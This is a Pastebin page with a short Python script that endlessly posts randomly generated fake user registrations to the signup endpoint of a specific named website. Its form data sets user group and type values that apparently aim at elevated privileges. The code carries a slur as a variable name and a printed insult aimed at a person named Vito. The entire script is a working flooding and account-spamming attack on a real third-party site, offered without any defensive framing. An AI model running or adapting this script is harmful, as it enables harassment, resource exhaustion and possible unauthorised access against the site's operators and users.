Advertisement
Guest User

Untitled

a guest
Mar 10th, 2017
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.50 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. from random import choice
  4. from requests import post
  5. VITO_PIDR = 'http://garant-centr.com/index.php?e=users&m=register&a=add&usergroup=users'
  6.  
  7. CIDR = 'йцукенгшщзхъфывапролджячсмитьбю'
  8. CIDR2 = 'qwertyuiopasdfghjklzxcvbnm'
  9.  
  10. DEBUG = False
  11.  
  12. def generate_payload ():
  13.  
  14.     password = str (''.join ([choice (CIDR2) for i in range (14)]))
  15.  
  16.     return {'x': (None, '4B7492D5'), 'ruserusergroup': (None, '5'), "rusertype": (None, '1'), "rusername": (None, str (''.join ([choice (CIDR) for i in range (14)]))), 'ruserfirstname': (None, str (''.join ([choice (CIDR) for i in range (14)]))), 'ruserlastname':  (None, str (''.join ([choice (CIDR) for i in range (14)]))), 'rusermiddlename': (None, str (''.join ([choice (CIDR) for i in range (14)]))), 'ruseremail': (None, str (''.join ([choice (CIDR2) for i in range (14)])) + '@' + str (''.join ([choice (CIDR2) for i in range (14)])) + '.com'), 'rpassword1': (None, password), 'rpassword2': (None, password), 'ruseragreement': (None, '1')}
  17.  
  18.  
  19. def main ():
  20.  
  21.     global VITO_PIDR
  22.  
  23.  
  24.     while True:
  25.         payload = generate_payload ()
  26.         print (payload)
  27.    
  28.         res = post (VITO_PIDR, files=payload)
  29.         if DEBUG: print (res.text, res.status_code)
  30.  
  31.         print (' [ SENT AND GOT STATUS %i] ' % res.status_code)
  32.         if 'Регистрация завершена полностью' in res.text:
  33.             print ('[ DATA PLACED :3 FUCK YOU VITO ]')
  34.  
  35. if __name__ == '__main__':
  36.     main ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement